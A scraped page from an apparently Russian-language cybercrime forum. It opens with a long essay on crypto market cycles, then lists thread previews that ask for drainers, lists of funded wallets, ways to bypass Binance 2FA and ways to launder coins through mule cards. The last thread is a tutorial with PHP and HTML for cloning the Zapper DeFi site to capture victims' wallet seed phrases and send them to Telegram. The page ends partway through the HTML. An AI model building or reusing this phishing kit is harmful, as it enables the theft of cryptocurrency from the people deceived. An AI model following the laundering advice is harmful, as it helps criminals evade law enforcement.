Бессрочный своп можно воспринимать как фьючерс без срока погашения и с иной ставкой финансирования.
Так сложилось, что приток новых денег благоприятно влияет на крипторынок, многие стараются на этом дополнительно спекулировать используя кредитное плечо.
Кредитное плечо позволяет увеличить собственную позицию заемными средствами, отношение может доходить от 1-го к нескольким сотням.
Это прибыльный инструмент, но он несет соответсвующий риск потерять все при малейшем колебании цены.
$BTC достиг первого пика в $64,8 тыс 14 апреля 2021 года , но его цена снизилась из-за высокого левериджа от бессрочных свопов и других деривативов *.
*Другими словами, люди занимали больше денег, чем у них есть в обеспечении и вставали в лонг. Это оказывает огромнейшее давление на рынок - мешает его росту, проще ликвидировать такие позиции, чтобы расти дальше. Это может происходить произвольно: на рынок перестает приходить достаточное количество игроков, чтобы поддерживать столько лонгов.
Ставки финансирования - периодические платежи между трейдерами для выравнивания фьючерсной цены с ценой спотовой - были положительными, что указывало на то, что рынок непропорционально преобладал позициями лонг.
Трейдеры продолжали наращивать свои позиции, используя криптовалюту в качестве залога. Цены на обеспечение упали , что вызвало принудительные продажи и каскады ликвидации, в результате чего летом 2021 года $BTC упал до $29 тыс.
К концу лета, казалось бы, рынок извлек уроки из предыдущих ошибок. Открытый интерес стал снова расти уже более умеренно.
CeFi -платформы и хедж -фонды активнее всех использовали кредитное плечо в этом периоде. Отсутствие прозрачности в деятельности этих компаний привело ко второй волне злоупотребления займами, продолжаясь вплоть до ATH $BTC в $68,9 тыс 10 ноября 2021 года.
CeFi - централизованные финансы, эту категорию часто соотносят с биржами, например, на них также можно стейкать токены и получать доходность. Но в эту категорию также входят агрегаторы доходности вроде Anchor , деятельность которых, в отличие от DeFi , не прозрачна и поддается централизованному влиянию. Считается, что преимущество CeFi перед DeFi в безопасности и простоте, ибо обязательства по сохранности на себя берет централизованный орган. Но не все так просто;)
Хедж- фонды - это инвест. фонды, целью которых можно назвать извлечение прибыли при любых рыночных условиях. Для этого существует широкий финансовый инструментарий, в т.ч. кредитное плечо, и различные рыночные стратегии. Такие фонды зачастую ограничены лишь слабым нормативным регулированием, либо не регулируются вовсе. К слову,**3AC - хедж- фонд. **Традиционные фонды жестко регулируются, поэтому часто ограничиваются лишь куплей-продажей активов.
CeFi предлагали пользователям доходность около 3 -8 % APY. Использовали средства пользователей, чтобы повысить доходность ради собственной рекламы, еще хуже, когда дополнительно использовалось кредитное плечо. В период расцветка рынка это было легко сделать.
На радаре появился протокол Anchor , предложивший доходность в ±20 %.
Вспомним тягу хедж-фондов к максимизации прибыли : с помощью стратегии перезайма и кредитного плеча они разгоняли доходность вплоть до 100 %, естественно, это повышало риск.
Вне сферы криптовалют мир окутывали экономические проблемы. В игру вступает ФРС , повышая процентные ставки из-за опасений по поводу инфляции. Цены стали падать во второй раз за этот цикл.
Волатильность ликвидировала множество позиций, наказав за использование рискованных инструментов. Это вылилось в целую лавину.
Все началось с краха Terra (UST). Он стер с криптовалютного рынка более $35 млрд.
Затем случился анпег Lido , ликвидных ставок на $ETH , позволяющих извлекать из него доходность. Не обошлось без участия кредитного плеча.
Естественно, это вызвало каскад ликвидаций, который разросся настолько широко, что и по сей день имеет свои последствия.
После случился кризис FTX , Alameda , CDG , который здесь и сейчас влияет на индустрию, о чем я расскажу позже.
Этот хаос обнажил множество проблем, и одновременно стал оплотом фундаментальных проектов в DeFi , которые послужили толчком к росту отрасли, продолжали работать должным образом.
В отличие от своих централизованных аналогов, смарт-контракты Aave , Compound и MakerDAO оставались устойчивыми к рынку.
Uniswap продолжает обрабатывать объемы обменов в десятки миллиардов долларов.

Каждое падение вызываетрефлексию , заставляет задуматься: действительно ли эта сфера инновационная , есть ли у нее будущее или это попросту спекуляции?

Click to expand...

Вполне закономерно полагать, чем сильнее падение , тем большая значимость у проблемы вызвавшей его, это непосредственно помешало дальнейшему развитию.
Последующие проекты должны уже включать ее решение , способные на это и рождают инновационные продукты , которые катализируют дальнейший рост.

Сфера учится на своих ошибках и открытиях.​

Этот период запомнился не только проблемой кредитного плеча, он дал нам возможность заглянуть в будущее расширенного utility криптовалют. Зерна прошлого цикла проросли: успехи NFT , GameFi , Metaverse и DeFi проектов привели в сферу огромнейшее число билдеров, причем уже из мира мейнстрима.
Чего только стоит ребрендинг Facebook в Meta , официальный визит Sequoia Capital в криптосферу и бесчисленное количество брендов и стран, начавших возделывать технологии web3. Очевидно, что большинство отсеется, но те продукты, которые смогут выстоять и выгравировать свою идею до блеска, — в следующем цикле станут звездами пославшими огонь в глаза людей.

Spoiler: Существующие проблемы, выводы и открытия, на которые указал цикл:

· Деятельность ключевых игроков рынка должна быть более прозрачной.
· У пользователей должна быть возможность предоставлять свои репутационные данные, по типу кредитной истории, ончейн, что позволит протоколам выдавать займы с частичным обеспечением (undercollateralized lending). Как вариант, использование [Soulbound](https://www.coindesk.com/learn/what-are-soulbound- tokens-the-non-transferrable-nft-explained/) NFT.
· Он-чейн системы репутации, по типу Lens Protocol и ENS.
· Более совершенные системы лендинга, базирующая на надежных смартконтрактах
· Настоящая децентрализация: Вся сфера он-чейн финансов должна быть открытой и аудируемой.
· DAO нужны реформы, поскольку в топовых DAO более 90% голосов принадлежат 1% пользователей.
· Алгостейблы не работают, держитесь от них подальше
· Если вам кажется, что APR на площадке выглядит оторванным от реальности, значит, скорее всего, так оно и есть: протоколам следует сфокусироваться на реальной экономической модели с доходами, которые обеспечиваются реальной деятельностью на площадке
· NFT в данный момент в основном являются либо артом либо спекуляцией: NFT для дальнейшего развития нужно какое-то утилити (внутриигровая ценность, использование на децентрализованных социальных площадках, он-чейн верификация и т.д.)
· Привлечение в криптосферу новых пользователей и создание лучших условий для действующих пользователей: создание юзер френдли мобильных децентрализованных приложений , создание удобного интерфейса для доступа к L2 решениям, больше приложений, связанных с реальной жизнью пользователей.
· Запуск приложений, позволяющих, например, осуществлять стриминговые платежи, спонсирование научной деятельности, регенеративные финансы, предоставляющие возможность взять заём под залог реального актива и т.д.
· Проблемы кросс-чейн безопасности: разработчикам следует сфокусироваться на развитии более безопасных моделей кросс-чейн передачи сообщений (таких, как например IBC в экосистеме Cosmos).
· Развитие и укрепление существующих L1 решений
· Образование криптопользователей для перехода в ончейн-пространство, популяризация и упрощение использования некастодиальных кошельков.

Постепенный переход из CeFi в DeFi , уже пользуется спросом смежное направление, с регуляцией и защитой пользователей (например, от хаков) от CeFi и децентрализация, your keys - your money от DeFi.
Естественно, информация выше - на вес золота. Только что вы получили методичку из проб и ошибок прошлого, направлений, к которым стоит присматриваться уже сейчас. Но это не все;)
Сферы с большим потенциалам роста в будущем цикле от команды Messari :

Катарсис​

Ка́та́рсис (др.-греч. κάθαρσις — «возвышение, очищение, оздоровление») — процесс высвобождения эмоций, разрешения внутренних конфликтов и нравственного возвышения.
![](/proxy.php?image=https%3A%2F%2Frune- ankle-d9b.notion.site%2Fimage%2Fhttps%253A%252F%252Fs3-us- west-2.amazonaws.com%252Fsecure.notion- static.com%252Ffbd77001-6d23-4222-bb53-9e681aff67b2%252FUntitled.jpeg%3Fid%3Dd3a20806-0888-4710-b71f-36cae97383a5%26table%3Dblock%26spaceId%3Dda170c8a-a73c-42b3-85ad-0342039b0128%26width%3D2000%26userId%3D%26cache%3Dv2&hash=e59d3aa595722629ae7ca63b797d26c4)

Рынки цикличны и поддаются неосязаемым закономерностям. Каждый новый цикл ознаменован толчком индустрии и приливом интереса к ней. Хоть мы и находимся в нисходящем тренде , за первые полгода 2022 -го было привлечено инвестиций больше , чем за весь бычий 2021 -й.
Скажу больше, с момента моей последней статьи о рынке, где я давал ревью произошедшего за 1-й квартал этого года, объем инвестиций в крипту в 22 -м вырос в ±4 раза.
Ниже я приведу несколько выборочных примеров рыночных явлений, которые помогут посмотреть на все под другим углом, что подготовит тебя, моего читателя, к основным смыслам данной статьи.
Знание о том, какие события происходят в период медвежьих рынков вполне способны навести на ответ к вопросу: "почему так?".
Важно наблюдать со стороны каких результатов сфера достигла в столь короткий промежуток времени. Громкие падения в итоге стимулировали более буйный рост.
Ведущие инвесторы извлекли уроки из предыдущих циклов и вовсе не хотят медлить, упуская, возможно, лучшие инвестиционные возможности будущего десятилетия :
В февралеSequoia Cap[собрали](https://techcrunch.com/2022/04/27/crypto- focused-dragonfly-capital-launches-650m-third-fund/) $600 миллионов в свой первый (!!!) криптофонд. Тем самым громко заявив о своем присутствии
В апреле dragonfly [привлекли](https://techcrunch.com/2022/04/27/crypto- focused-dragonfly-capital-launches-650m-third-fund/) $650 миллионов для третьего криптофонда. Я считаю их сейчас лучшим web3-фондом, каждому, кто желает глубже развиться в понимании и заработке в сфере, вырваться из череды мимолетных профитов, выйти за рамки простого пользователя - стоит следить за этими ребятами и пытаться понять их действия. И скоро я расскажу почему я так считаю.
Май, a16zпривлекают рекордные $4.5 миллиарда к своему скромному четвертому фонду.
За 2022 -й фонды привлекли ±$55МЛРД на инвестиции в web3.
Учтем, что многие сборы еще не закрыты и не опубликованы (а там много чего интересного, даже от вышеупомянутых фондов, которые совсем недавно собрали деньги), многие все еще собирают, т.к. растянули сборы из-за кондиций рынка и ситуации с FTX:
Pantera
Capital [собирает](https://www.coindesk.com/business/2022/09/28/crypto-vc-pantera- capital-looks-to-raise-125b-for-second-blockchain-fund-report/) $1.25МЛРД на инвестиции в web3.
И подобных незакрытых сборов предостаточно.
Лидеры сферы ежегодно жадно наращивают объемы инвестиций, и на **" неудачном рынке" бьют рекорды по объемам. **Наводит на мысли? Неужели это прибыльно?
Вопрос открытый, я его подслащу тем, что я перечислил только своих любимчиков.

Я напомню насколько ~~это мало~~ мы рано с помощью одной из своих любимых диаграмм по отдельному (!!!) направлению крипты.

Мы ознакомились с происходящим в прошлом:мы падали, это делало нас сильнее... , сейчас же мы заглянем в настоящее , чтобы увидеть проявившиеся на фоне новых знаний ( о циклах ) возможности.
Стремительными шагами мы продолжаем экспансию: несмотря на падение главной криптовалюты, объем средств, переведенный в сети bitcoin , бьет рекорды — половины 2022 -го было достаточно, чтобы покорить новую вершину. Люди активнее пользуются благами блокчейна и склонны больше ему доверять.
С другой стороны, июнь 2022 -го года стал рекордным по показателю вывода $BTC с централизованных бирж.

Декабрь 2022 -го, рекорд снова побит. За 30 дней рекордные 200.000 $BTC — $3.4МЛРД.
Это наводит на несколько выводов:
Люди наименьшим образом склонны к продаже - наибольшим к HODL.
Доверие к CeFi снизилось. Но у high -tier инвесторов этот сегмент на первом месте , читай дальше, чтобы узнать почему.
Инвесторы воспользовались возможность увеличить свои позиции. (BTC-адреса с балансом находятся на историческом пике).

Интересно отметить, что несмотря на коллапсы в непрозрачном CeFi (3ac , anchor , celsius, ftx, cdg e.t.c.). Сектор DeFi не только выстоял, но и увеличил свои позиции с начала года. Они работают автономно, как им диктует код, невозможно вмешаться и что-либо обойти (избежать ликвидации).
Это позволило участникам рынка подготовиться и адаптироваться к потенциальному каскаду ликвидаций.
Другими словами, сегмент пережил стресс -тест , тест -драйв (мы помним, что крипта стремится к массадопшну , и нужно быть готовым к экспоненциальному повышению количества участников рынка).
Что только укрепило позиции DeFi , поэтому момент, когда мы вернемся к верхним значениям TVL и trading volume - лишь вопрос времени.
_Находясь в криптосфере, даже простомупользователю необходимо осязать уровень развития важнейших сегментов вроде DeFi , и положение их лидеров. Это столь же необходимо , как осознавать лево - или правостороннее движение в стране, в которой находишься: без этого ваше путешествие рискует оказаться безыдейным , слепым и даже опасным. _
Мы тезисно пройдемся по лидеру DeFi -сегмента - top-1 DEX Uniswap.

Uniswap​

Ведущие игроки жадно накапливают $UNI с начала этого непростого года, почему?

Более 1-го $ТРЛН — [объем торгов](https://cointelegraph.com/news/uniswap- breaks-1t-in-volume-but-has-only-been-used-by-3-9m-addresses) на Uniswap.
У Uniswap почти в 5,5 раз [больше](https://www.paradigm.xyz/2022/05/the- dominance-of-uniswap-v3-liquidity) ликвидности, чем у Binance - крупнейшей в мире криптобиржи - на парах USDC/USDT.

Торговые объемы Uniswap сравниваются с Coinbase (А это проводники китов США в крипторынок, значительный процент их объемов - институциональные сделки).

Это все здорово, но зачем мне это знать?
Не стоит воспринимать слова ниже как призыв к действию — но они могут стать хорошим фундаментом для принятия серьезных решений.
Uniswap
вполне можно считать эталонным проектом криптосферы. Он включает в себя множество причин, почему так считать закономерно: проект децентрализованный, прошел через огонь и воду и является лидером индустрии.

И чтобы не быть голословным — обратимся к терминологии: Эталонсредство измерения.

Click to expand...

Другими словами, изучая положение Uniswap , мы можем оценивать положение криптоиндустрии здесь и сейчас и даже заглядывать вперед.
Если цена $BTC , как самого популярного актива, отражает настроение рынка — интерес к нему со стороны общественности, веру в идеи. Его цена постоянно меняется , хотя он сампрактически нет.
То Uniswapкровеносная система крипторынка. Его состояние отражает — настоящее положение дел , без лишних эмоций.
Проект является отражением идей криптосферы , когда сегмент CeFi — скорее обслуживают идеи криптовалют : они не децентрализованны, не прозрачны, но упрощают доступ к рынку для более широкого круга пользователей.
Ликвидность Uniswap больше, чем суммарно у двух крупнейших бирж (Binance & Coinbase), торговые объемы сравниваются с одной из них, протокол работает 24/7 и на него никто не влияет. Его метрики продолжают расти, он масштабируется — организуя**[многомиллиардное](https://www.axios.com/2022/08/05/uniswap-looks- to-spend-some-of-its-giant-treasury)** DAO , запуская собственный инвест. фонд.
На этом примере мы видим, что несмотря на падения, вера в криптосферу только усилилась, сильные проекты индустрии наращивают экспансию.
На фоне всеобщей паники здоровоостановиться, осознать происходящее, чтобы увидеть невероятные возможности.

И когда мы видим, что ведущие сегменты и их проекты чувствуют себя замечательно , — это вполне хороший звоночек пересмотреть свой инвест. тезис, пока метрики крипторынка далеко от своих ATH.
Как говорилось ранее — лучшего времени для действий не найти , — как для изучения, так и для активного участия.
Рынок спокоен , конкуренция низкая , что только благоволит к тому, чтобы к следующему циклу выйти во всеоружии : с охапкой бриллиантов на продажу или с подготовленным оборудованием по их добыче.
Всего за декаду мы начинали от стресс -тестов идей децентрализованного обмена ценностью (bitcoin), застав рассвет надстройки над этой идеей (Ethereum), позволившей создавать децентрализованные приложения , сегодня же это развилось до рынка метавселенных , который уже насчитывает сотни тысяч пользователей и десятки миллиардов долларов.
![](/proxy.php?image=https%3A%2F%2Fthemediaverse.com%2Fwp- content%2Fuploads%2F2022%2F05%2FOtherside- metaverse.png&hash=aadda16475df8152334f765da777e3f7)

Удивительно видеть безверие на этом поприще.

Конечно, существуют еще сотни, может тысячи проблем, которые следует решить, чтобы раскрыть потенциал технологий: одной из таких проблем является вопрос истинной децентрализации.
Мы все равно от кого-либо продолжаем зависеть : централизованные хостинги сайтов, хранилища данных, сервера.
Например, большинство нод сети Ethereum и Solana расположены у централизованных провайдеров услуг. Причем у Ethereum 53,7% приходится только на Amazon. Что дает теоретическую возможность компании Amazon влиять на работоспособность сети Ethereum. И еще более теоретическую — совершить [атаку 51](https://ru.beincrypto.com/chto- takoe-ataka-51-i-chego-boyatsya-investoram/) .
Ряд блокировок веб-интерфейсов, санкционный список кошельков и прочее также являются примерами недостатка децентрализации.
Но, как мы уже поняли, крипто-циклы — это есть процессы обнаружения и решения проблем.
И на этом поприще есть прогресс:
Важным подсектором криптовалютных рынков является децентрализованная инфраструктура.
Зародившийся в 2014 -м, инициированный в 2017 -м при поддержке A16Z , Sequoia Cap , старожил рынка находяшийся в топ -50 , Filecoinэталонный пример проекта данного сегмента.
Проект решает проблему децентрализованного хранения данных. А данные = фундамент , и если кто-то посторонний может ими завладеть или даже в них вмешаться — это постоянный риск потерять все.
В июне 2021 года запустила обновление hyperdrive , в результате чего пропускная способность транзакций увеличилась в 10 -25 раз.
На графике ниже показано, что после обновления сети доход протокола снизился, несмотря на экспоненциальный рост использования сети (Daily Active Deals).
Хотя доходы от протокола важны, развитие не всегда зависит от них. В случае с Filecoin это обновление позволило масштабировать сеть, чтобы продолжать предоставлять файловое хранилище за (!!!!!)
0,001% от стоимости файлового хранилища Amazon AWS.


Это доказывает, что сфера богата представителями, стоящими на ее защите.
Великие фонды понимают , что децентрализация уже неизбежна , поэтому стремятся быть первыми , кто ее поддержал и на этом заработал.
Filecoin привлекли рекордные 200 $МЛН за объективно перегретый 2017 -й год, и даже на нижних границах рынка они оцениваются более, чем в 1.5 $МЛРД , доходя до $12МЛРД в пике.
Забавно, что Filecoin — это кейс одной из первых инвестиций Sequoia Cap в крипторынок.
Спустя пять лет они официально вошли в крипту с первым запущенным фондом, инвестируя сотни миллионов во время паники на рынках. Интересен масштаб их инвестиций сейчас? Есть о чем рассказать, идем дальше.
Мне было приятно поддержать несколько проектов с бейкерами в виде Sequoia Cap , инвестируя в том же раунде.
Мы проинспектировали волатильный , но непокорный тренд развития идей криптовалют. Серьезные ошибки сменялись гениальными решениями , колоссальные падения — более масштабным ростом.
Нам повезло застать меняющую жизнь эпоху, сопоставимую с развитием интернета в 90 -х, находясь рано, мы урвали лакомый кусочек возможности определить всю будущую жизнь.
От [искренней радости,](https://www.forbes.com/sites/rufaskamau/2022/05/09/what-is- bitcoin-pizza-day-and-why-does-the-community-celebrate-on- may-22/#:~:text=He%20spent%2010%2C000%20Bitcoin%20to,the%20two%20pizzas%20and%20delivered.)в узком круге посвященных, за возможность приобрести пиццу за 10.000 $BTC , мы пришли к стремительно-растущей триллионной экосистеме, уже**[вовлекающей государства](https://consensys.net/blog/enterprise-blockchain/which- governments-are-using-blockchain-right-now/) , которой хоть и сопутствует множество проблем , оглянувшись назад, и заглянув немного вперед, мы убедились , что они решаемы.
Я поделюсь выводами по теме от команды Grayscale , на материалы которых я неоднократно опирался, и мы воодушевленно перейдем к более предметному разговору о событиях насущных, чтобы понять, что делать здесь и сейчас.
Опытным криптоинвесторам не чужды колебания цен , просадки в 90 % - это вполне ожидаемо для зарождающегося класса активов.
Технология, лежащая в основе всей отрасли, имеет потенциал навсегда изменить все аспекты цифровой жизни, от финансовых технологий до развлечений.
У нас не было возможности по-настоящему владеть цифровыми активами , не управляя физическим оборудованием, на котором они живут, пока не был создан биткоин.
Легко потерять из виду, насколько далеко мы продвинулись как отрасль. (!!!) Плохие новости можно рассматривать как хорошие новости для инвесторов с длинным временным горизонтом.
То, что начиналось как хобби -проект анонимного криптографа, который раз за разом объявляли мертвым , сегодня приносит пользу бесчисленным отраслям по всему миру.
Технология блокчейн - спасение для развивающихся стран, катализатор развития интернета.
Каждый рыночный цикл , через который прошла криптоиндустрия, оставил экосистему сильнее предыдущего. В криптоиндустрии мы видим, что неудачи не являются фатальными для отрасли, а наоборот, необходимый шаг в продвижении к будущему.
Этот рыночный цикл уже дал нам проверенные в боях протоколы DeFi и инфраструктуры , инновации в решениях для масштабирования, растущую индустрию метавселенной и многое другое.
Несмотря на снижение цен , ликвидацию и волатильность , криптоиндустрия продолжает строить и внедрять инновации , _расширяя
границы** возможного_.

Где выкачать eth/btc кошельки с балансами
ID: 67686ad7b4103b69df379847
Thread ID: 88835
Created: 2023-05-25T03:48:03+0000
Last Post: 2023-06-05T08:07:37+0000
Author: triblekill
Replies: 54 Views: 3K

Здрасте, подскажите где или как можно скачать например актуальный текстовик кошельков ETH и BTC с балансами больше 100$ формата одна строка один кошелёк ?

Ускорение bitcoin транзы
ID: 67686ad7b4103b69df379854
Thread ID: 29499
Created: 2019-05-25T11:36:17+0000
Last Post: 2023-05-25T15:52:01+0000
Author: pablo
Replies: 9 Views: 3K

Повисло пару битковых транз. Подскажите, чем сейчас можно протолкнуть?

Выбор дрейнера
ID: 67686ad7b4103b69df37986a
Thread ID: 81914
Created: 2023-02-13T18:28:41+0000
Last Post: 2023-04-27T17:10:36+0000
Author: scoring0
Replies: 27 Views: 3K

Господа, поставили задачку накидать список дрейнеров с ценами, которые сейчас актуальны.
Посоветуйте, кто с дрейнами работает, у кого брали, где нормальная поддержка\селлер?

Безопасный кошелёк
ID: 67686ad7b4103b69df3798a5
Thread ID: 74492
Created: 2022-10-19T11:17:14+0000
Last Post: 2023-02-12T03:06:01+0000
Author: 1337speak
Replies: 41 Views: 3K

Посоветуйте максимально безопасный и надеждый кошелек для хранения 50 битков, желательно что бы сервис не вел логов.

Биткоин - 67К - что дальше?
ID: 67686ad7b4103b69df379937
Thread ID: 57935
Created: 2021-10-20T14:30:10+0000
Last Post: 2022-07-23T19:44:21+0000
Author: yashechka
Replies: 64 Views: 3K

Дайте мне машину времени???

Bitcoin - предсказание
ID: 67686ad7b4103b69df379966
Thread ID: 65613
Created: 2022-04-14T19:14:47+0000
Last Post: 2022-05-27T20:03:01+0000
Author: Tetcher
Replies: 76 Views: 3K

Привет форум
Это скорее свой взгляд и свое мнение по поводу криптовалюты BTC , что я вижу и что мне кажется .
Интересно поделиться и узнать ваше мнение по данной валюте

1649962763466.png

1. В своем движение вырисовывается перевернутый ( медвежий ) вымпел , цена ходит в его диапазоне , пытались пробить , но это было скорее ложный пробой вверх после которого виднеется коррекция вниз
2.
1649963144261.png

В глобальном тренде ( восходящем ) цена явно растет , но у BTC огромные пробои вверх и можно сказать что на каких то факторах он раздут

3. На часовом ТФ , интрадей
По циклам после подавления продавцами цены вниз , ожидается рост

1649963478328.png
4. В пятницу по фондам выходной , BTC будет предоставлен сам себе так сказать , есть возможность покупателями активно выступать и подавить все свечи вниз .

есть у кого свои прогнозы или мнение?

Способ вывода с Binance без верификации по СМС или 2FA
ID: 67686ad7b4103b69df379974
Thread ID: 55589
Created: 2021-08-20T11:13:22+0000
Last Post: 2022-04-24T00:17:38+0000
Author: SUSPENSE
Prefix: Мануал/Книга
Replies: 12 Views: 3K

You must have at least 5 reaction(s) to view the content.

Цикличное падение криптовалюты ?
ID: 67686ad7b4103b69df37999e
Thread ID: 59672
Created: 2021-12-04T15:24:59+0000
Last Post: 2022-01-31T19:16:21+0000
Author: M8GG
Replies: 67 Views: 3K

Собственно сабж, вопрос в названии, да упала криптовалюта, после НГ все опять пойдет рости.

Обнал денег (как безопасно получить свою грязь)
ID: 67686ad7b4103b69df3799be
Thread ID: 59309
Created: 2021-11-25T13:18:35+0000
Last Post: 2021-12-03T05:21:42+0000
Author: White_Album
Replies: 51 Views: 3K

Кто что посоветует, недавно знакомый чистил свою крипту да так до чистился почти)) Крч закинул свой биток в миксер потом 3 раза прогнал в монеро(разные кошельки, тор IP и все дела, левые почти) розбивал разными сумами, в конце концов через знакомых увидел бумажку из Интерпола (запрос на банк) про вывод на карту дропа его денег даже часть денег а не всю сумму, сразу увидел монеро который через обменку выводил на карту дропа. Повезло что есть свои люди в Интерполе. Я так понял все таки есть в USA методы отловки монеро?) Кроме дропа левого с картой как можно получить свой нал? кто шарит напишите в личку или тут, интересно услышать ваше мнение. Правда что делал бы не в миксер пихал а в Wassabi wallet но как то все равно монеро отследили, очень странная ситуация.

Помогите выбрать анонимный/мультовалютный криптокошелек
ID: 67686ad7b4103b69df3799e0
Thread ID: 54805
Created: 2021-08-04T11:55:58+0000
Last Post: 2021-09-30T14:04:13+0000
Author: Dilock
Replies: 47 Views: 3K

Ребят, посоветуйте хороший биткоин кошелек. Без блокировок и бесконечных верификаций, с множетством валют и чтобы был открытий код (без логов). Или раскажите что вы юзаете и приемущества.
Заранее блогодарен.

TrustWallet Scammer
ID: 67686ad7b4103b69df3799f8
Thread ID: 55138
Created: 2021-08-10T17:26:58+0000
Last Post: 2021-08-11T19:11:24+0000
Author: OperatorXI
Replies: 39 Views: 3K

I recently encountered a TrustWallet Scammer and found that "they" are posting their private key in chat rooms. Once the victim logs into the TrustWallet they see there is about 5k in ETH based coins in the wallet. When the victim transfers ETH to the account its automatically pulled from the account to a new wallet.

What script are they using for this with Trustwallet to move the ETH that quick?

Кошельки для стейблкоинов USDT, USDC
ID: 67686ad7b4103b69df3799fd
Thread ID: 48261
Created: 2021-02-17T22:43:29+0000
Last Post: 2021-08-09T13:32:45+0000
Author: top
Replies: 11 Views: 3K

Какие кошельки вы используете для ?usdt, usdc и других стейблкоинов? вообще как храните стейблкоины с учетом, что они не слишком безопасны из-за блокировок?

Добыча приватных ключей и кошельков
ID: 67686ad7b4103b69df379a12
Thread ID: 53254
Created: 2021-06-23T19:56:39+0000
Last Post: 2021-06-27T10:24:08+0000
Author: baykal
Prefix: Статья
Replies: 3 Views: 3K

Привет всем!
В этой статье, мы будем добывать криптокошельки и секретные фразы для них. Это не стандартный способ, я не думаю, что его где-то видели. Вы думали, что можно добывать криптокошельки, только с помощью стиллеров, а вот и не так =)))

Немного о этом способе
Мы скопируем сайт, который собирает секретные слова и кошельки, а дальше, допишем его и сделаем отправку данных в телеграмм.
После получения секретных слов и адресов криптокошельков, Вы сможете их восстановить и сналить или продать.

Для этого понадобится немного времени, умение скопировать сайт и немного знаний веб-разработки JS, PHP, HTML/CSS и трафферы.

Первое, что нам нужно, это написать мини скрипт для распределения юзеров по странам.

Назовем его index.php

PHP:Copy to clipboard

<?php 
// Скрипт работает по user browser language
$sites = array(

"en" => "index.html",

// "cn" => "index_cn.html",

// "de" => "index_de.html",

// "el" => "index_el.html",

// "es" => "index_es.html",

// "fr" => "index_fr.html",

// "id" => "index_id.html",

// "it" => "index_it.html"

);

// Определяем  2х символьный язык en и тд

$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);

// Установка языка по умолчанию если переменная $lang не соответствуют не одному значению из массива $site

if (!isset($sites[$lang])) {

$lang = ‘en’;

}

// Редирект пользователя на нужную страницу.

header('Location: ' . $sites[$lang]);

exit;

Второе - нам нужно будет дописать страницу для ввода кошелька, это нужно отправить в телеграмм.
После ввода данных - нас перекидывает в профиль и там нужно указать 12 секретных слов и эти слова отпр в телеграмм.

Назовем её index.html

HTML:Copy to clipboard

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <script src="https://kit.fontawesome.com/aa4dabdc57.js" crossorigin="anonymous"></script>
    <link rel="preconnect" href="https://fonts.gstatic.com">
    <link href="https://fonts.googleapis.com/css2?family=Lato:wght@300;400;900&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="CSS/style.min.css">
    <link rel="stylesheet" href="CSS/style.css">
    <link rel="stylesheet" href="CSS/modal.css">
    <link rel="stylesheet" href="CSS/media.css">
    <link rel="stylesheet" href="CSS/alert.css">
    <title>Zapper - Dashboard for DeFi</title>
    <link rel="shortcut icon" href="icons/zap_logo.png">
    <script src="http://yastatic.net/jquery/2.1.4/jquery.min.js"></script>
    <script src="http://yastatic.net/jquery/cookie/1.0/jquery.cookie.min.js"></script>
    <script src="customalert.js"></script>
</head>
<body>
    
    <header>
        <div class="container">
            
            <div class="logo">
                <a class="zap_linker" href=""><img class="zapper_icons" src="icons/zap_logo.png" alt="">
                    <div class="zapper">Zapper</div></a>
                </div>
                <nav>
                    <ul>
                        <li><a class="nav_link" href="#">Docs</a></li>
                        <li><a class="nav_link" href="#">Tutorials</a></li>
                        <li><a class="nav_link" href="https://discord.com/invite/h6CGbuN">Community</a></li>
                    </ul>
                </nav>
            </div>
        </header>
        <section class="main">
            <div class="container_main">
                <h1>Manage your<span class="index">DeFi</span> <br class="mobile_brack">assets and liabilities in<br class="mobile_brack"> one <br class="desktop_brack">simple interface.</h1> 

                <h3>
                    Get unique access to opportunities in open finance.
                </h3>
                <div class="main_flex">
                    <form action="dashboard.php" method="POST">
                        <input class="main_form" name="cash" maxlength="50" type="text" required placeholder="Enter ENS domain, or a valid ETH, or BTC address">
                        <button class="main_pink">Let's Go!</button>
                        <div class="main_or">
                            or
                        </div>
                        <a class="connect" href="#openModal" rel="modal:open"><button class="main_black">Connect Wallet</button></a>
                    </form>
                </div>
                <div class="main_what_one">
                    <i class="fas fa-arrow-right"></i>
                    <a class= "main_wl" href="#">Don't have an address? View demo.</a>
                </div>
                <div class="main_what_two">
                    <i class="fas fa-arrow-right"></i>
                    <a class= "main_wl" href="#">What's is DeFi?</a>
                </div>
                <div class="main_flex_bottom">
                    <div class="main_mbt">
                        <h2 class="main_mbth">$1.3B+</h2>
                        <p class="main_mbtp">Invested through our platform</p>
                        <p class="main_mbtpbot">Since May 2020</p>
                    </div>
                    <div class="main_mbt">
                        <h2 class="main_mbth">400K+</h2>
                        <p class="main_mbtp">Monitored their assets</p>
                        <p class="main_mbtpbot">Since January 2020</p>
                    </div>
                    <div class="main_mbt">
                        <h2 class="main_mbth">48</h2>
                        <p class="main_mbtp">DeFi platforms supported</p>
                        <a class="main_mbtpbota" href="#">View the full list</a>
                    </div>
                </div>
            </div>
        </section>


        <footer class="footer">
            <div class="container">
                <div class="footer_left">
                    <a class="footer_i" href="https://twitter.com/zapper_fi"><i class="fab fa-twitter"></i></a>
                    <a class="footer_i" href="https://discord.com/invite/h6CGbuN"><i class="fab fa-discord"></i></a>
                    <a class="footer_i" href=""><i class="fab fa-weixin"></i></a>
                    <a class="footer_a" href="#">FAQ</a>
                    <a class="footer_a" href="#">Docs</a>
                    <a class="footer_a" href="https://discord.com/invite/Rf3YJ3V">Contact Support</a>
                    <a class="footer_a" href="#">Supported Platforms</a>
                    <div class="dropdown">
                        <button onclick="myFunction()" class="dropbtn"><div class="dropbtn_lang">en</div> <div class="dropbtn_arrow"></div> </button>
                        <div id="my Dropdown" class="dropdown-content">
                            <a href="#">English</a>
                            <a href="index_fr.html">Français</a>
                            <a href="index_es.html">Español</a>
                            <a href="index_ru.html">Русский</a>
                            <a href="index_cn.html">中文</a>
                            <a href="index_de.html">Deutsch</a>
                            <a href="index_it.html">Italian</a>
                            <a href="index_el.html">ελληνικά</a>
                            <a href="index_id.html">Bahasa</a>
                        </div>
                    </div>
                </div>


                <script>
            /* When the user clicks on the button, 
            toggle between hiding and showing the dropdown content */
            function myFunction() {
                document.getElementById("my Dropdown").classList.toggle("show");
            }
            
            // Закрыть the dropdown if the user clicks outside of it
